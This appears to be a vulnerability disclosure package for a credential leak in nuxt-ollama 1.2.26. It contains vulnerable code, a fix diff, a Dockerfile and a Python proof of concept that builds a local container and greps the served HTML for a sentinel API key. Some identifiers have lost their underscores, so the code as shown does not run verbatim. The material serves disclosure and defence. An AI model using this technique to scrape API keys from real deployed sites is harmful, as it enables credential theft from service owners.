CVE-2026-59158

// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, options)

<script>
window. NUXT ={};
window. NUXT .config={
 public:{
  ollama:{
   protocol:"https",
   host:"api.ollama.com",
   port:"",
   proxy:false,
   api key:"LEAKED TEST KEY 123" // ← secret exposed to browser
  }
 }
}
</script>

// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api key) {
 headers.Authorization = `Bearer ${options.api key}`
}
return new Ollama({ host, proxy: options.proxy, headers })

-  const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
-  runtimeConfig.public.ollama = defu(currentConfig, options)
+  const { api key, ...publicOptions } = options
+  const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api key'>
+  runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+  const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api key'>
+  runtimeConfig.ollama = defu(currentPrivateConfig, { api key })

docker build 
 -f /path/to/vuln-001/Dockerfile 
 -t nuxt-ollama-vuln-001 
 /path/to/npmAI 735 thoda-dev nuxt-ollama

export default defineNuxtConfig({
 modules: ['../src/module'],
 compatibilityDate: '2025-10-29',
 devtools: { enabled: false },
 ollama: {
  protocol: 'https',
  host: 'api.ollama.com',
  api key: 'LEAKED TEST KEY 123'  // sentinel key
 }
})

docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001

curl -s http://127.0.0.1:3000/ | grep -o 'api key":"[^"]*"'
# Expected: api key":"LEAKED TEST KEY 123"

python3 /path/to/vuln-001/poc.py

window. NUXT .config={
 public:{
  ollama:{
   protocol:"https",
   host:"api.ollama.com",
   port:"",
   proxy:false,
   api key:"LEAKED TEST KEY 123"
  }
 }
}

# syntax=docker/dockerfile:1
# VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
#
# Vulnerability mechanism:
#  src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, options)
#  This places api key into Nuxt's PUBLIC runtime config, which Nuxt serializes
#  into the SSR HTML response ( NUXT  /  NUXT DATA  payload).
#  Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.

FROM node:20-alpine

# Install pnpm matching the repo's packageManager field (pnpm@10.33.4)
RUN npm install -g pnpm@10.33.4

WORKDIR /app

# Copy the nuxt-ollama source repository
COPY repo/ ./

# Install all project dependencies.
# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false
RUN pnpm install --frozen-lockfile

# Override playground/nuxt.config.ts: inject a sentinel api key to simulate
# a real-world cloud Ollama deployment as documented in README.md:71-80.
# This is the exact vulnerable configuration pattern described in the docs.
RUN cat > playground/nuxt.config.ts << 'EOF'
export default defineNuxtConfig({
 modules: ['../src/module'],
 compatibilityDate: '2025-10-29',
 devtools: { enabled: false },
 ollama: {
  protocol: 'https',
  host: 'api.ollama.com',
  api key: 'LEAKED TEST KEY 123'
 }
})
EOF

# Replace app.vue with a minimal template that does NOT make Ollama API calls.
# The api key leak occurs in the Nuxt SSR payload, not in the visible template.
# The original playground app.vue calls useFetch('/api/ollama') which requires
# a live Ollama server; replacing it keeps this PoC self-contained.
RUN cat > playground/app.vue << 'EOF'
<template>
 <div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api key</div>
</template>
EOF

# Build the playground in production SSR mode.
# During the module setup() call, src/module.ts:36 merges all options (including
# api key) into runtimeConfig.public.ollama. At request time, Nuxt serializes
# runtimeConfig.public into the HTML response for client-side hydration.
RUN pnpm exec nuxi build playground

EXPOSE 3000
ENV HOST=0.0.0.0
ENV PORT=3000
ENV NITRO HOST=0.0.0.0
ENV NITRO PORT=3000

CMD ["node", "/app/playground/.output/server/index.mjs"]

#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
Title  : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE   : CWE-522 - Insufficiently Protected Credentials
CVSS  : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack summary
--------------
When a Nuxt app installs nuxt-ollama and sets ollama.api key (per README.md:71-80
for cloud Ollama), the module's setup() function in src/module.ts:36 merges the
entire options object—api key included—into runtimeConfig.public.ollama.

Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and
embeds it in the HTML response inside a <script> payload block ( NUXT  /
 NUXT DATA ). Any unauthenticated HTTP GET request to the home page therefore
returns the api key in plain text, with no authentication required.

This script:
 1. Builds a Docker image from the nuxt-ollama source with a sentinel api key.
 2. Starts the image as a local container.
 3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.
 4. Prints an evidence excerpt and writes phase2 result.json.
"""

import json
import os
import subprocess
import sys
import time
import urllib.request

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
TARGET KEY   = "LEAKED TEST KEY 123"
IMAGE NAME   = "nuxt-ollama-vuln-001"
CONTAINER NAME = "nuxt-ollama-poc-001"
HOST      = "127.0.0.1"
PORT      = 3000
URL       = f"http://{HOST}:{PORT}/"

SCRIPT DIR = os.path.dirname(os.path.abspath( file ))
PARENT DIR = os.path.dirname(SCRIPT DIR)    # build context (contains repo/)
DOCKERFILE = os.path.join(SCRIPT DIR, "Dockerfile")
RESULT FILE = os.path.join(SCRIPT DIR, "phase2 result.json")

BUILD CMD = f"docker build -f {DOCKERFILE} -t {IMAGE NAME} {PARENT DIR}"
RUN CMD  = (
  f"docker run -d --name {CONTAINER NAME} "
  f"-p {PORT}:{PORT} {IMAGE NAME}"
)
POC CMD  = f"python3 {os.path.join(SCRIPT DIR, 'poc.py')}"


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def run cmd(cmd list, check=True, capture=False):
  """Execute a command, printing it first; return CompletedProcess."""
  print(f"[cmd] {' '.join(cmd list)}", flush=True)
  return subprocess.run(
    cmd list,
    check=check,
    capture output=capture,
    text=bool(capture),
  )


def cleanup container():
  """Remove the PoC container if it already exists."""
  subprocess.run(["docker", "rm", "-f", CONTAINER NAME], capture output=True)


def wait for server(url, timeout=180, interval=5):
  """Poll url until it returns a non-5xx response or the timeout expires."""
  print(f"[*] Waiting for server at {url} (timeout={timeout}s)", flush=True)
  deadline = time.time() + timeout
  while time.time() < deadline:
    try:
      with urllib.request.urlopen(url, timeout=5) as resp:
        if resp.status < 500:
          print(f"[+] Server up — HTTP {resp.status}", flush=True)
          return True
    except Exception:
      pass
    time.sleep(interval)
  return False


def save result(data):
  """Write phase2 result.json and echo its path."""
  with open(RESULT FILE, "w", encoding="utf-8") as fh:
    json.dump(data, fh, ensure ascii=False, indent=2)
  print(f"
[*] Result saved to {RESULT FILE}", flush=True)


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main():
  print("=" * 66)
  print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
  print("=" * 66, flush=True)

  cleanup container()

  # ------------------------------------------------------------------
  # Step 1 — Build Docker image
  # ------------------------------------------------------------------
  print("
[STEP 1] Building Docker image (may take several minutes) ...", flush=True)
  build rc = run cmd(
    ["docker", "build", "-f", DOCKERFILE, "-t", IMAGE NAME, PARENT DIR],
    check=False,
  ).returncode

  if build rc != 0:
    save result({
      "passed":    False,
      "verdict":    "FAIL",
      "reason":    "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.",
      "build command": BUILD CMD,
      "run command":  RUN CMD,
      "poc command":  POC CMD,
      "evidence":   f"docker build exited with returncode={build rc}",
      "artifacts":   ["Dockerfile", "poc.py"],
    })
    sys.exit(1)

  print("[+] Image built successfully.", flush=True)

  # ------------------------------------------------------------------
  # Step 2 — Start the container
  # ------------------------------------------------------------------
  print("
[STEP 2] Starting container ...", flush=True)
  run rc = run cmd(
    ["docker", "run", "-d",
     "--name", CONTAINER NAME,
     "-p", f"{PORT}:{PORT}",
     IMAGE NAME],
    check=False,
  ).returncode

  if run rc != 0:
    save result({
      "passed":    False,
      "verdict":    "FAIL",
      "reason":    "Docker 컨테이너 실행 실패.",
      "build command": BUILD CMD,
      "run command":  RUN CMD,
      "poc command":  POC CMD,
      "evidence":   f"docker run exited with returncode={run rc}",
      "artifacts":   ["Dockerfile", "poc.py"],
    })
    sys.exit(1)

  # ------------------------------------------------------------------
  # Step 3 — Wait for Nuxt SSR server
  # ------------------------------------------------------------------
  print("
[STEP 3] Waiting for Nuxt SSR server ...", flush=True)
  if not wait for server(URL, timeout=180):
    logs = subprocess.run(
      ["docker", "logs", CONTAINER NAME],
      capture output=True, text=True,
    )
    log snippet = (logs.stdout + logs.stderr)[-2000:]
    print("[!] Server did not respond within timeout. Container logs:
", log snippet)
    save result({
      "passed":    False,
      "verdict":    "INCOMPLETE",
      "reason":    "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.",
      "build command": BUILD CMD,
      "run command":  RUN CMD,
      "poc command":  POC CMD,
      "evidence":   log snippet,
      "artifacts":   ["Dockerfile", "poc.py"],
    })
    cleanup container()
    sys.exit(1)

  # ------------------------------------------------------------------
  # Step 4 — Fetch the rendered HTML page
  # ------------------------------------------------------------------
  print(f"
[STEP 4] GET {URL} ...", flush=True)
  try:
    with urllib.request.urlopen(URL, timeout=15) as resp:
      html = resp.read().decode("utf-8", errors="replace")
  except Exception as exc:
    save result({
      "passed":    False,
      "verdict":    "FAIL",
      "reason":    f"HTTP 요청 실패: {exc}",
      "build command": BUILD CMD,
      "run command":  RUN CMD,
      "poc command":  POC CMD,
      "evidence":   str(exc),
      "artifacts":   ["Dockerfile", "poc.py"],
    })
    cleanup container()
    sys.exit(1)

  print(f"[+] Received {len(html)} bytes.", flush=True)

  # ------------------------------------------------------------------
  # Step 5 — Verify TARGET KEY is present in the HTTP response body
  # ------------------------------------------------------------------
  print(f"
[STEP 5] Searching for '{TARGET KEY}' in response ...", flush=True)

  if TARGET KEY in html:
    idx  = html.index(TARGET KEY)
    start = max(0, idx - 200)
    end  = min(len(html), idx + len(TARGET KEY) + 200)
    excerpt = html[start:end].strip()

    print(f"
{'='*66}")
    print(f"[PASS] VULNERABILITY CONFIRMED")
    print(f"'{TARGET KEY}' is present in the unauthenticated HTTP response.")
    print(f"{'='*66}")
    print(f"Evidence excerpt:

{excerpt}
")
    print(f"{'='*66}")

    save result({
      "passed":    True,
      "verdict":    "PASS",
      "reason":    (
        "nuxt-ollama@1.2.26의 src/module.ts:36에서 api key를 "
        "runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 "
        " NUXT  페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 "
        "LEAKED TEST KEY 123이 응답 본문에서 노출됨이 실제 실행으로 확인됨."
      ),
      "build command": BUILD CMD,
      "run command":  RUN CMD,
      "poc command":  POC CMD,
      "evidence":   excerpt,
      "artifacts":   ["Dockerfile", "poc.py"],
    })
    cleanup container()
    sys.exit(0)

  else:
    snippet = html[:3000]
    print(f"[FAIL] '{TARGET KEY}' NOT found in the HTTP response body.")
    print("--- HTML (first 3000 chars) ---")
    print(snippet)

    save result({
      "passed":    False,
      "verdict":    "FAIL",
      "reason":    (
        f"'{TARGET KEY}'가 HTTP 응답 본문에서 발견되지 않음. "
        "Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음."
      ),
      "build command": BUILD CMD,
      "run command":  RUN CMD,
      "poc command":  POC CMD,
      "evidence":   snippet[:1500],
      "artifacts":   ["Dockerfile", "poc.py"],
    })
    cleanup container()
    sys.exit(1)


if  name  == " main ":
  main()